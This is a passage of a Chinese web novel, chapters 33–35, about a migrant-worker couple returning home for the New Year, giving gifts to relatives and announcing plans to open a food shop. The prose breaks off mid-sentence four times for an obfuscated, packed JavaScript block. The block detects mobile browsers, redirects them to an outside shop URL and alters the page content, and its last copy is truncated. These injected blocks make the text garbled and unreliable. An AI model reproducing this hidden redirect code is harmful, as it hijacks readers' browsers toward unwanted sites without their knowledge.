这两个孩子肯定是后来看他们都忙累了,悄悄进房间铺床给他们惊喜! 宁绍明空着的另一只手,牵起站在旁边巴巴看着的儿子,一脸感动地跟着老婆孩子往房间走。 赵如月完全没想到会是这个走向,那个问题,还不等她做出反应,他们已经被两个孩子安排得明明白白。 她诧异地问:“你们俩学会铺床了?” 宁时夏骄傲地挺起小胸脯:“我跟哥哥早就学会了!” 大声说完这句,她声音又弱下去,小小声地:“就是我力气还小,一个人没法干,我就给哥哥和丹萍姐姐打下手,也帮上忙了。” 宁时秋补充:“对,妹妹跟我一起铺的床,还有丹萍姐也帮忙了,被子太重,我们扛不动,是丹萍姐帮着扛出去晒太阳的,枕头和毯子是我和妹妹晒的。” 为了请丹萍姐帮忙,他还提前答应丹萍姐,等爸妈把给他买的自行车带回来,下学期开学,每个星期日把自行车借给丹萍姐骑去学校,周五下午再骑着自行车去接她回家。 还要瞒着大伯家其他人,这样丹萍姐就能把坐车的钱攒下来当私房钱了。 不过这是他们的小秘密,他连爸爸妈妈也不会告诉。 赵如月人都换上睡衣、盖上被子躺床上了,才从恍恍惚惚中回过神来。 她闻着被子上被太阳晒过的味道,凑到宁绍明耳边轻声说:“我们家的两个孩子是不是太有主见了?” 还知道提前帮他们晒被子铺床,要是没两个孩子帮着干,肯定没人想起来帮他们做这些,得他们回来自己做。 指望公婆?这事完全不可能指望得上! 宁绍明回到家,彻底放松下来,沾着都快睡着了,听到她的话,迷迷糊糊地回应:“有主见不是好事吗?” 赵如月听了他这话,再结合上辈子在网上看到的,一些年轻孩子的言论。 脑子灵光一闪,觉得自己似乎抓住了什么窍门,但她身体和精神都很疲惫,想着想着也陷入了沉睡。 醒来的时候已经是中午,好在睡前想的事她没忘记。 已经隐约有点知道,该怎么跟两个孩子相处了。 赵如月心中大定! 夫妻俩起床后,开始收拾搬进房间的东西。 给双方父母的衣服、袜子、围巾、手套这些拿出来,分别放好。 再拿出提前准备好的红色塑料袋,把带回来的散装饼干、糖果、果冻,还有水果,每样拿出一些。 数着要分的亲戚数量,每家一份,一袋一袋地装好,确保每一袋里饼干、糖果、果冻、水果的数量都差不多。 他们这里外出打工回来,全都是这么给亲戚分东西,大家都一样,他们也不特立独行。 在老家,也没人觉得散装的饼干、糖果就不高级,毕竟老家本来就不是什么经济发达的地方,大部分人家都不富裕,往常想吃还吃不上。 每年过年的时候,谁家有外出打工回来过节的近亲,分到这么一份,家里没有亲戚出去打工、或者关系比较远,分不到的亲戚都会很羡慕分到的人家,因为分到这些,过年自家就不用再花钱买了。 两人分了一会儿,房门被打开,门口又露出两个小脑袋。 这次赵如月身心不累,脑子也清醒,见到孩子一点也不局促了。 看到他们,就笑着招手:“快来给爸爸妈妈帮忙。” 两个孩子听到妈妈说要自己帮忙,眼睛一亮,立刻推开门进来。 妹妹蹦蹦跳跳一马当先:“妈妈我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14559065|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们要做什么?” 哥哥小大人似的,走在后面,还知道顺手关上房门。 赵如月毫不客气地指挥两个‘小兵’:“小秋帮忙分饼干,小夏帮忙分糖,你们爸爸负责分果冻和水果。” 宁时夏快言快语地问了一句:“那妈妈做什么?” 赵如月听到女儿的话,心想,要是上辈子钻牛角尖的自己,恐怕会觉得女儿在抬杠,看不得她休息一会儿。 但她现在通透多了,孩子年纪那么小,真没什么复杂的心思,肯定是童言无忌想说什么就直接说出来了,大人千万不要多想,多想就是自找烦恼。 赵如月玩笑着说:“我是指挥官,专门指挥你们干活!” 果不其然,孩子根本没想太多,听到她这话,开心地鼓掌:“好耶!电视上指挥官最厉害,妈妈是家里最大的官,我听妈妈的!” 还学着电视里的样子,立正向她敬礼:“请长官放心,保证完成任务!” 然后认认真真一丝不苟地开始数糖,一家人都被她逗笑了。 有了两个‘小兵’帮忙,还别说,速度确实快了不少。 东西分好,两个‘小兵’还意犹未尽。 赵如月想起回来之前,吴丽和黄文发给他们买的、让他们带在路上吃的东西。 她跟宁绍明都没吃多少,面包袋子里,各种面包小蛋糕还剩下大半袋。 超市的袋子里,几乎都没怎么动过,装盐焗鸡翅、盐焗鸡腿的袋子甚至一路上都没打开。 赵如月全拿出来交给两个孩子:“你们看看喜欢吃哪些,把喜欢的留下,等会儿我再分一部分出来,给你们妙妙姐和小德哥送去,再给你们堂哥堂姐也分一点。” 有零食! 这下连小大人宁时秋都忍不住,开心地跟妹妹一起原地蹦跶。 兄妹俩像拆盲盒一样,把三个袋子整整齐齐地一字排开,本来想点兵点将,点到哪个袋子就先打开哪个。 谁知装盐焗鸡的盐焗香味和肉香味太霸道,孩子们隔几天才能吃一次肉,肚子里油水不太足,完全无法拒绝肉的诱惑。 顾不上点兵点将,默契地一致看向那个袋子。 袋子一打开,那股味道更浓郁了。 宁时夏深深吸一口香味,咽口水的声音咕嘟地一下,挺大声。 她最爱吃肉,眼巴巴地看向赵如月:“妈妈,这个要给别人分吗?” 盐焗鸡翅和鸡腿都比较贵,买一点就要几十块钱,吴丽和黄文发也就是遇到了随手买了几个,总共没多少。 赵如月到底更心疼自己生的,看了看袋子里的数量,对两个孩子说:“你们能吃完就吃都吃了吧,面包多给哥哥姐姐们分一点就好。” 两个孩子又是一声欢呼,也数了数数量,你一个我一个地分,还要给爸爸妈妈也分。 宁绍明在酒店吃过不少回,也给赵如月带过很多次,两人都不馋这个。 他们看爸爸妈妈确实真的都不想吃,才两个人分好,开心地吃起来。 看着两个孩子啃肉啃得那么香,还小声嘀咕,说这个真好吃,上次吃肉已经是在三天前了。 夫妻俩听了感觉一阵心酸。 33. 第 33 章 宁绍明出去打工之前,把分给他那些地里去年收的米,全存着没卖。 那么多米,供两个孩子吃到今年年底,也能剩下不少。 剩下的那些米,拿去卖也够孩子吃青菜的钱了。 也就是说,两个孩子在家吃的米和青菜,算是不花钱的。 他们寄回来的钱,只供两个老人和两个孩子花的话,他们每天肉都行。 可他的孩子却隔几天才能吃上一次肉。 宁绍明这心,又跟被针扎了一样疼起来,也不自觉地想起,以前跟老婆聊到分家时她说的话。 要是可以早点分家,选那块空宅基地,似乎也没那么让他难以接受了。 等两个孩子吃完盐焗鸡,又在那两袋东西里,选了自己喜欢吃的留下。 剩下的东西,赵如月拿了少部分,也就两个面包和一些薯片、蛋黄派、威化饼、奶糖之类的零食,装在小一点的袋子里,让儿子拿去给他堂哥堂姐吃。 大部分全都装进超市购物袋里,又拿出给吴丽和黄文发父母,还有他们两个孩子的袜子、围巾、丝巾、手套,打算给他们送去。 对宁绍命说:“你去厨房看看中午吃什么,我继续收拾房间,让小秋和小夏去把这些送了,吃过晚饭再去看看我爸妈?” 宁绍明点头站起来:“行,对了,不给文发家也带一袋分好的糖和饼干那些?” “不用,等他们回来,这些东西肯定也要买不少,估计过完年都吃不完,而且我们那么多发小,给了文发家,给不给其他人家?” 听她这么说,宁绍明就没再坚持给,毕竟都是发小,也不好厚此薄彼。 宁时秋给堂哥堂姐送完东西回来,又接到任务,兴奋得完全没了小大人一样的稳重。 他立刻兴致勃勃地跑到前院,把自己的自行车到房门口:“妈妈,我可以用自行车载着东西送去!” 赵如月意外地看着儿子:“你已经会骑自行车了?” “我提前借同学的车学过了。” “那正好。”赵如月买的儿童椅翻出来,儿子说要骑车载着女儿去上学,她担心女儿太小,坐后座会后仰摔下去,就顺便把儿童椅也一起买了。 “我把儿童椅给小夏装上,等会儿让小夏坐后座,抱着一袋东西,另一袋装前面的篮子里,你慢慢骑,千万要小心路上的车。” 虽然现在老家路上连摩托车都不多,更别说汽车,可该叮嘱的还是要叮嘱。 宁时夏很想也滑着自己的滑板去,可街上有滑板的孩子极少,只有一个比她和哥哥都大的孩子有。 她之前借不到人家的滑板,没法提前学,所以现在还没学会,只敢蹲坐在滑板上,双腿拄着走。 只好无奈放弃用自己的‘交通工具’执行任务,坐上哥哥的自行车后座。 赵如月站在门口,固定好儿童椅后把女儿抱上去,让她抱好东西,别弄掉了: “那个黑色的袋子里,还有一个红色的小袋子,里面装着给你们小丽阿姨娘家爸妈的围巾、手套和袜子,到了你们妙妙姐家,给他们东西的时候就说,这些东西他们爸爸妈妈都给过钱了,让妙妙把她妈妈给她外公外婆买的东西送去。” 两个孩子点点头:“记住了!” 黄文发家离他们家不远,骑自行车要不了五分钟就到了。 两个孩子稳稳当当地来到他家门口,却没进门,转而熟门熟路地冲着另一户人家喊:“妙妙姐!小德哥!” 喊了几声,黄妙妙姐弟俩果然从邻居家出来了。 “小秋小夏?你们找我们?” 黄圣德看到宁时秋的自行车瞪大了眼睛:“小秋,你爸妈真给你买自行车了?!” “嗯!”宁时秋用力点头,心里有些小得意,“我早说过了,我爸妈肯定不会说话不算数,小夏的滑板也买了,不过要拿给你们的东西,不方便拿滑板,就没带来,你们想看的话,可以去我家看。” 黄圣德跑到宁时秋身边围着自行车团团转:“我想看!小秋,可以让我骑一下你的自行车吗?” 宁时秋还没骑过瘾:“等过几天吧,你们先拿东西。” “小丽阿姨和文发叔给你们买的东西,让我爸妈捎回来,我妈说他们给过钱了,”宁时夏把自己抱着的袋子递过去。 然后指着前面车筐里的超市购物袋,口齿清晰地复述妈妈交代的话:“那个白色的袋子里是面包和零食,里面有一排娃哈哈,还有一瓶营养快线和一瓶可乐呢!” 她都尝过了,也特别喜欢喝来着,本来想全都留下,不过爸爸妈妈说先分给妙妙姐和小德哥一半,留一半就好,喝完改天再给她买,她就同意了。 宁时夏又指向刚刚自己抱着的黑色袋子:“这个黑色袋子里是围巾、袜子还有手套,里面还有个红色的袋子,我妈说让妙妙姐把红色袋子里的东西,给你们外公外婆送去。” 听到有好吃的,黄圣德又顾不上看宁时秋的自行车了。 他立刻上前搬出车筐里的超市购物袋:“哇,好重,幸亏我力气大!” 把袋子搬出来,黄圣德站在街上就想把袋子打开,拿零食吃,刚拆开袋子上打的结,手就被打了一下。 他们光顾着说话,谁也没注意到,一个老太太不知道什么时候从黄家出来,站在他们身边看了有一会儿了。 “奶奶你打我干嘛!”黄圣德搓了搓被打红的手,大声抱怨,“手都被你打红了,你看看!” 老太太一瞪眼:“活该!谁让你在大街上乱放东西,你看看地上,脏不脏?” 黄圣德看了一眼,没觉得有多脏啊,他平时还趴在地上跟朋友弹弹珠玩呢。 不等他说话,老太太已经抢先吓唬他:“早上放牛的路过,我看到有牛在这里拉屎了,你要吃牛屎?” 黄圣德有低头看地上,没看出来。 不过他知道一大早牛经过,一拉完屎,还热乎着冒着热气就会被人抢着铲走当肥料。 上午到现在,又有那么多人来来往往地走过,看不出来也很正常。 黄圣德成功被膈应到了:“我才不吃牛屎!我带回家去,家里的地板总干净了吧!” 老太太满意地点头:“这就对了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14573005|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”这傻小子,没看到外面那么多小孩围着看呢,在外面拆吃的,不得给别人分点? 那可是捎回来的好东西,多少够分的?傻不傻! 老太太看着孙子把东西搬进家里,转头笑眯眯地问宁时秋兄妹俩:“小秋小夏去不去婆婆家玩?婆婆让小德哥给你们分糖吃。” 宁时秋摆摆手:“不了婆婆,我们家里也有,爸妈还在家等着我们回去吃午饭,我们先回去了。” 老太太也知道,他们爸妈回来肯定也给他们买。 但是两家孩子的父母关系好,孩子送东西来一趟,她说什么也得给他们兜里塞点吃的,才让他们走。 兄妹俩没办法,只好少少地一人拿了两颗糖,飞快骑车跑了。 他们走后,老太太回家,看过两个袋子里的东西,拿出那个红袋子,往里面分了一部分零食,才让黄妙妙给她外公外婆家送去。 不等她叮嘱孙子孙女,别出去到处宣扬家里有好吃的,黄圣德这小子得了好东西,已经拿出去炫耀一圈,屁股后面跟回来一堆小孩子。 老太太又赶忙把东西全拿到房间里藏起来了。 黄妙妙也一手拿着香甜的面包,一手提着红色的袋子,开心地边吃边往外婆家走。 她和她手上的面包,跟骑着新自行车的宁时秋兄妹俩一样,收到了一路上所有孩子羡慕的目光。 而这时候,宁家人除了住在县城教师宿舍的宁老二一家,其他人已经整整齐齐地围着饭桌坐了一圈,准备吃午饭。 宁时春把椅子拉到宁绍明身边坐下:“三叔,刚刚你让小秋给我的面包太好吃了,我还想吃,还有吗?” 赵如月没觉得什么,王海燕先受不了了。 她冲着贪吃的儿子翻了个白眼,觉得很丢人:“宁世春你几岁了?还跟着小孩一样跟人讨食,要不要脸?” 宁时春是真不觉得丢脸:“这是我亲三叔,自家人又不是外人,怎么就不能问了?” “你还敢顶嘴!”王海燕伸手就要往儿子身上抽,她就没见过贪吃成这样的! 宁绍明赶忙拦了一下,打圆场:“没事没事,大嫂别打孩子,小春说的也有道理,我是他亲叔,没什么不能问的,面包而已,不是什么值钱的东西,孩子想吃就吃了,我记得应该还有,我让小秋去拿。” 他说着看向宁时秋:“小秋去看看还有几个,够分的话,给你堂哥堂姐都拿一个。” 宁时秋放下筷子,跑去房间带着两个面包出来,分别递给堂哥堂姐。 宁丹萍红着脸接过面包,宁时春却一脸得意,午饭也不吃了,说吃这个面包就行。 王海燕恨铁不成钢地瞪一眼洋洋得意的儿子,嫌弃地说:“还孩子呢,他们这一代,他是当大哥的,明年就十八了,还没个正行!” 她看了看坐在旁边一声不吭吃着饭的弟妹。 原本还想着小叔子夫妻俩混得好,年后托他们,带她这个快成年了,又不爱读书,中专、高中都考不上的儿子一起出去打工,给他找个好工作。 可儿子这个不稳重的死德行,让她怎么开口? 34. 第 34 章 王海燕难得连吃肉都没胃口,满心琢磨该怎么再找机会跟小叔子夫妻俩开口。 然而接下来宁绍明扔了个响雷,惊得他们下巴都要掉了。 “我跟小月出去一年,存的钱够还债了,明年不打算再出去。”宁绍明脸色平静地说出这话,其他人却很不淡定,尤其是老大一家。 王海燕想让儿子出去给家里挣钱,自己跟丈夫留在家里盯着老家的东西,避免自家以后在外地,不知道家里有什么,分家的时候吃亏。 可宁绍贤看弟弟疑似遇到贵人,他也想出去碰碰运气:“你们俩不出去打工,两个孩子怎么办?” 宁绍明:“大哥你这话说的,我以前在家,兜里也没什么钱,两个孩子不是养得挺好?” “那怎么一样……”宁绍贤觉得现在养孩子跟以前不一样,可他又没带过孩子,也不管孩子学习,具体怎么不一样,他说不出来。 还是王海燕补充:“现在的孩子讲究吃好穿好,读书也费钱得很,跟我们以前可不一样,要上什么兴趣班、补习班,你们不出去挣钱,以后小秋和小夏只能眼巴巴地羡慕别人家孩子,你俩不心疼啊?” 赵如月借着往嘴里送饭的动作,遮住脸暗地里撇嘴,继续去鹏城,自己孩子才要眼巴巴地羡慕别人家孩子呢! 宁绍明继续说:“我在鹏城学了手艺,在家干挣的可能不如去鹏城挣的多,但是肯定比以前什么都不会强点,养家没问题。” “你学了什么手艺?”黄秀华和宁达老两口齐声问。 他们原本也不赞同三儿子两口子明年不去鹏城,可宁绍明有手艺又不一样了。 看看三儿媳娘家,以前有个老中医,她三叔继承了这门手艺。 自从改革开放,允许私人经营后,她三叔在家开个医馆,不用出门就能把钱挣了! 现在上了年纪,成了老中医,越老越吃香,还特别受人尊敬。 老赵家因为有这门手艺,发展出不少人脉,后代学医的也不少。 跟赵如月同辈的人里,只要愿意学,现在都有工作,有的在县城的医院当医生、护士,有的在镇上卫生院工作。 当初要不是赵如月实在对学医一窍不通,现在八成也能捞个铁饭碗端着。 本来按照分家的规矩,老宅分成的两个院子,要按着排行,先分给老大和老二。 轮到老三,要是家附近没有空地建房,就只能申请其他地方的空宅基地。 他们老两口为了让赵如月父母同意赵如月嫁过来,以后能沾点老赵家这方面的光,生生改了这个规矩,承诺把老宅分出来的一个院子给老三夫妻俩。 老两口当初也盼着赵如月哪怕当不了医生,至少也能当个护士。 再回她娘家找找关系,拉拔一下老三,最好夫妻俩都端上铁饭碗。 这样他们家三个儿子,老二、老三都端上铁饭碗,有编制成了干部,不能分农村的地,家里的地就可以全给老大。 到时候老二、老三有工作,老大有地,三个儿子都能过得滋润。 谁知赵如月学医是真不开窍,期盼中的铁饭碗打了水漂,赵家的关系没靠上,好处没到手,他们都不知道该怎么跟老二夫妻俩说分房的事。 要是老三靠他岳家得了工作,他们老两口还能用这个当理由,逼着老二推让。 老二要不乐意退让,就让他给老三也找个工作,那样老二不想让也得让,因为他根本没人脉给弟弟安排工作。 现在老两口是左右为难,也不敢跟老三说他老丈人家靠不上,所以老宅不能分给他一半了。 分家这事只能一直拖着。 宁绍明根本不知道他父母的纠结,还以为是家里盖房的钱不够,才一直没分家。 他看向父母:“我在酒店上班,学了厨艺,等过了年,我想在家里空着的宅基地建个小平房,开个小店卖吃的。” “干这个靠谱吗?你们想卖什么吃的?”王海燕觉得,他还不如去跟弟妹娘家三叔学中医,“我们镇上有钱人少,大家最多集日上街赶集的时候,去吃一碗米粉,买个包子、油炸糕,开店的平时生意都不怎么样,你别把打工辛辛苦苦挣的钱全赔进去了。” 宁绍明没回答她要做什么,只是说:“大嫂不用担心,我们心里有数,开店不会用到还债的钱,我们用这次带回来的货卖出去赚的钱。” 王海燕和宁绍贤还想劝他们,却听到老娘说:“你们自己心里有数就行,也是当父母的人了,不是小孩子,我们也不好多管你们。” 黄秀华听老三说想用空宅基地开店,说完那句话,看了老伴儿一眼,还想说什么,却没说出口。 王海燕夫妻俩转头看老爹,这老头也一个劲点头,什么都不说。 当爹妈的都没反对,他们只是当哥嫂的,也不好再劝,转而问起他们进货花了多少钱?想看看他们这些货能挣多少。 宁绍明回来之前,原本想跟家里人说,这批货的进货价比镇上那些低一半。 回来后他改了主意:“我们手头的钱,扣掉还债的那部分,没剩下多少了,也就够过年用,哪还有钱拿货?那些货是我们赊账拿的,等货卖完,得先把货款给厂家寄过去,挣的钱扣掉运费,再给我那个朋友分一半。” “还要给别人分啊?”宁绍贤一听,兴趣顿时下降不少,“自己辛辛苦苦运货回来卖,别人啥都不用干就能分钱?” 光是想想他就觉得特别不爽,这不还是给别人打工么!老三两口子简直就是冤大头! 宁绍明:“话不能这么说,要不是有那个朋友,我也没拿货的门路,人家分一半利润,算是介绍费。” “你们也太冒险了,万一货砸手上亏本,没钱给别人怎么办?赶紧把那些货卖掉,把钱给人家寄去!”黄秀华听得心慌,他们自觉一辈子都是老实人,最怕欠别人钱。 交超生罚款的钱,是借亲戚朋友的还好,知根知底可以慢慢还,也没利息。 欠不认识的人钱,他们生怕被人找上门要债,那可真是丢死人了! 宁绍明了解家里人想法,才找那么一个借口。 不过看他爸妈真被吓到,还是忙安慰道:“妈,不用担心,光今天早上,那些货就卖出去一袋了,而且这生意就这一回,那些东西也不会过期,卖不出去可以慢慢卖。” 黄秀华不住地念叨:“以后别干这种事了,开店也老老实实开,别乱来,也别跟人赊账。” 宁绍明:“知道了知道了,不会有下次了。” 吃过饭,赵如月把给家里人买的衣服拿出来让他们试试。 “真是钱多烧得慌,给孩子买就行了,怎么还给我们两个老东西买?”黄秀华嘴上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14588128|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嫌他们乱花钱,那习惯性板着的脸,却不自觉地带出点笑来,“我们都半截身子埋土里的人,哪用得着穿这么好的衣服。” 宁达乐呵呵地摸着自己那一份:“哎呀,这鞋可真不错,厚实,穿着脚肯定暖和,都是孩子们的心意,你用不着穿,我用得着,不穿都给我。” 黄秀华嫌弃地白他一眼:“女人的衣服,你穿出去也不怕人笑话!” “怕什么,大冷天的,大不了我穿里面,外面再穿个罩衣,谁能看得出来?”宁达真伸手扒拉老妻的,“我看看,儿子儿媳把里面穿的保暖衣和外面穿的外套外裤都给买了,实在不行你留着外套外裤,把保暖衣给我穿,别人更看不出来了。” 黄秀华把他的手排开:“美得你,少穿出去给我出去丢人,谁说我不穿了!” 宁达哈哈笑起来:“看看你们老妈,明明喜欢得紧,还不承认。” 大家也跟着笑起来,气氛变得比刚才好很多。 王海燕看得眼热,没想到赵如月打开另一个袋子,拿出来四件外套递给了她。 “给我的?”王海燕有点懵地接过那四件衣服,她刚刚看到那个袋子,还以为那是赵如月给她娘家爸妈买的。 赵如月笑了笑说:“这是给你和大哥,还有小春丹萍买的,害怕买小了穿不下,我们特地买了大两号,回来看到小春和丹萍都长高不少,也不知道买大两号会不会还是小。” 这衣服给出去,好几年过年没买过新衣服的大嫂,肯定忍不出穿出去炫耀。 给了好处,以后谁也不能拿他们夫妻俩出去打工的时候,大哥大嫂在家帮着父母照顾她的两个孩子,没有功劳也有苦劳来说事了。 “小不了,他们俩光长个子没长肉,肯定能穿!”王海燕立刻让自己儿女试衣服。 他们夫妻俩也脱下旧外套,试新外套。 “看看,还有点大呢,”王海燕扯了扯袖子,“不过大点好,我们不长个的,能在里面多穿两件,他们还长个的,能多穿几年。” 因为一件衣服,王海燕觉得赵如月比以前看着顺眼多了。 她看赵如月身边还有一个袋子:“这袋子里的衣服是给老二家的?” 赵如月点头,顺势把衣服交给婆婆:“妈,我等会儿要回我娘家一趟,等二哥二嫂他们回来,麻烦你帮我把衣服给他们。” 黄秀华知道儿媳肯定也要给亲家送,自家也得了,她这会儿心里就没感觉不舒服:“好,他们现在在你二嫂娘家,今天小年,他们要回来吃小年饭,在那边吃过午饭肯定就要回来了,到时候我帮你拿给他们。” 把衣服分完,又拿了一袋糖果饼干果冻水果之类,过年用得上的东西出来交给父母。 赵如月和宁绍明带着孩子回房,准备一下就去赵如月娘家了。 原本他们预备拿出来的东西比现在更多。 可是回家后,宁绍明进厨房做午饭,发现家里除了过年吃的鸡,别的什么都没准备。 按照往年的习惯,过年的东西早该准备起来了。 宁绍明从厨房出来,就让赵如月少拿点:“家里三个儿子,还没分家,总不能过年的东西全让我们出,我们出完了,另外两个儿子出什么?什么也不出光吃么? 该孝敬的孝敬,该还的人情我们还,不该的,我们也不当那冤大头!” 35. 第 35 章 赵如月带着大包小包的东西回娘家,两个‘小兵’骑着自行车在前面打头阵。 “外婆外公舅舅舅妈表哥表姐,我们来啦!”没到外婆家门口,宁时夏就大声喊人,“我爸爸妈妈也来啦!” 在门口跟邻居烤火盆打毛衣的陈芳妮坐直了身子,往他们来的方向伸长了脖子瞧,扬声回应:“小秋小夏来啦!你们舅舅在院子里编竹筐,家里的鸡今天下了好几个蛋,就等你们来呢,快去叫你们舅舅给你们做蛋炒饭吃!” 在城里,鸡蛋可能算不上什么稀罕的好东西,但在他们这个经济比较落后的小镇,鸡蛋可以攒着换钱,补贴家用买些油盐酱醋。 所以蛋炒饭对于小孩子们来说,也是稀罕的吃食,难得吃到一次。 但是每次他们来外婆家,舅舅总会给他们做蛋炒饭吃。 说着话,赵如月也走近了:“嫂子别惯着他们,今天中午绍明煮了肉,他们俩可吃了不少,家里的鸡蛋留着给思芸和光伟吃。” 陈芳妮笑着说:“哪个规定吃了肉就不能吃鸡蛋了?小秋小夏爱吃这一口,我看着他们吃得多,心里也高兴。” “就是!”宁时夏被爸爸抱着下了自行车后座的儿童椅,跑到舅妈身边,“舅妈最疼我了,我跟舅妈是一伙的!” 她说着从兜里掏出一把大白兔奶糖,塞给陈芳妮:“舅妈吃糖!” 然后不等陈芳妮说让她自己吃,她那小手已经又从另一个兜里,拿出一把水果糖。 给周围围着火盆坐的大婶大娘小媳妇儿们,一人发了一颗:“伯母婶婶阿姨们也吃糖。” 有个大娘接了糖故意逗她:“怎么给我们的糖,跟给你舅妈的不一样呀?” 孩子对待大人的问题,有时候会比较较真。 赵如月本来还担心别人这么随口逗逗,孩子不懂就会信以为真,觉得好心发糖,还被这么说,可能会不知所措、受到打击,以为自己做错了事。 谁知她闺女仰着一张笑脸,理所当然地回答:“当然啦,奶糖可是特地给我舅妈带的,舅妈对我那么好,最好吃的糖就得留给我舅妈吃!” 赵如月以前没注意过这些,现在留心观察,女儿这些举动,简直令她叹为观止。 有些人的社交能力,仿佛天生就是满级。 仅这么一会儿的功夫,周围一圈女人已经被她闺女收买完了。 一个个被逗得眉开眼笑,她嫂子更是对她闺女稀罕得不行,抱着亲了好几口。 宁时秋早已见怪不怪,淡定得很,自顾自找地方停车去。 爸爸妈妈去打工后,他们经常来外婆家吃饭,舅妈就是很喜欢妹妹。 有时候晚上也留他们在外婆家,跟外公外婆或者表哥表姐们挤着睡。 外婆家哥哥姐姐多,除了舅舅家的表姐表哥,小姨家的表姐表哥也在这里住着,宁时秋和宁时夏都觉得,住在外婆家,比在自己家里住开心多了。 赵鸿发听到声音,出来看了一眼,跟陈芳妮两人不愧是夫妻,见到宁时秋兄妹俩就说:“小秋小夏来了,吃不吃蛋炒饭?舅舅给你们做去。” 也不等他们回答,转身就往厨房去。 在厨房里,他鸡蛋都磕了,才想起来好像妹妹和妹夫也来了。 又转身出来招呼妹妹妹夫:“你俩也来了啊,外面冷,快进来坐,家里今天没烧火盆,三妹你自己拿火盆和柴去门口隔壁家的火盆借个火。” 说完又匆忙跑厨房做蛋炒饭去了,赵如月真是哭笑不得:“我现在回家,还不如两个小的受欢迎了。” “那可不!”陈芳妮学着宁时夏的话,玩笑道,“我跟咱们小夏才是一伙的!对了,还没告诉爸妈你们来了,光伟!光伟!” “干嘛?”赵光伟在对门邻居家看电视,听到他妈扯着嗓子喊,赶忙跑出来,生怕出来晚了挨骂。 陈芳妮:“快去菜地叫你爷爷奶奶回来,跟他们说你三姑三姑夫来了。” 赵光伟站在对门邻居家门口,头还往里转着眼睛认真地盯着里面的电视看。 听到他妈的话,转头过来,看到站在他家门口的三姑和三姑夫,忙打招呼:“三姑三姑夫你们来了,我这就去叫爷爷奶奶。” 赵如月拦住侄子,往他手里塞了两个蛋黄派:“拿去吃着玩,路过你大姑家顺道叫她来一趟。” 有零食吃,赵光伟乐得差点没蹦起来:“好,谢谢三姑!” 宁绍明没让赵如月去端火盆,放下手里的东西,自己去柴房拿了点柴和稻草放火盆里。 端着火盆到门口陈芳妮她们烤火的火盆里借火,也被大娘大婶们调侃,刚刚大舅子不是叫他点火盆,他也上赶着来点,可真是心疼老婆,他也只是笑笑。 宁绍明从小就知道,这些大娘大婶嘴巴厉害得很,他嘴皮子恐怕还不如自己闺女,跟她们唠他可唠不过,笑着装傻才是最适合他糊弄过去的方法。 赵如月则揣着手溜达到厨房,走到厨房门口就闻到了香味。 赵鸿发把鸡蛋炒熟,米饭炒散,放点盐炒炒,再加入酱油和葱花,那香味一下就霸道起来。 “真香啊,”饶是赵如月刚吃完饭没多久,闻到这味道也馋了,她打开碗柜拿了个小碗走过去:“哥,给我也盛两口尝尝。” “多大了,还跟孩子抢饭吃。”赵鸿发嘴上嫌弃,手里接过碗的动作却格外利索,给赵如月铲了一锅铲蛋炒饭,还要再铲一铲。 赵如月忙说:“够了够了,一铲就够了,我们吃了饭才来的,现在上了年纪,可比不得小孩子吃得多,还饿的快。” 她分了一点,剩下的量再由两个孩子分,每个分的也不算太多,不怕他俩撑坏。 赵鸿发想起孩子们的食量,忍不住笑了。 那一个个小肚子跟无底洞似的,前脚吃完一顿,出去转悠玩两圈,后脚转头回来又饿了:“能吃是福,我们小时候想吃还没有,去叫小秋和小夏来吃吧。” 赵如月端着自己那小碗出去,喊两个孩子进来,他们果然还能吃得下。 一口接一口,孩子大口认真吃饭的样子,让大人们看了都不自觉露出笑来。 菜地离家不远,他们把蛋炒饭吃完,赵斌和邓细妹也跟着赵光伟一起回来了。 赵光伟一进门就往三姑身边凑,给她汇报任务:“三姑,我去大姑家跟她说了,大姑说她先去找天宝,等会儿跟大姑父带着天宝一起来。” “知道了,我们光伟事办得不错,三姑给你个奖励。”赵如月打开带来的袋子,拿出一个盒子。 赵光伟瞬间瞪大眼睛:“哇——是四驱车!!!!” 电视上央视少儿频道最近正在重播《四驱兄弟》,街上几岁的小孩,不管男女都被四驱车迷得神魂颠倒。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 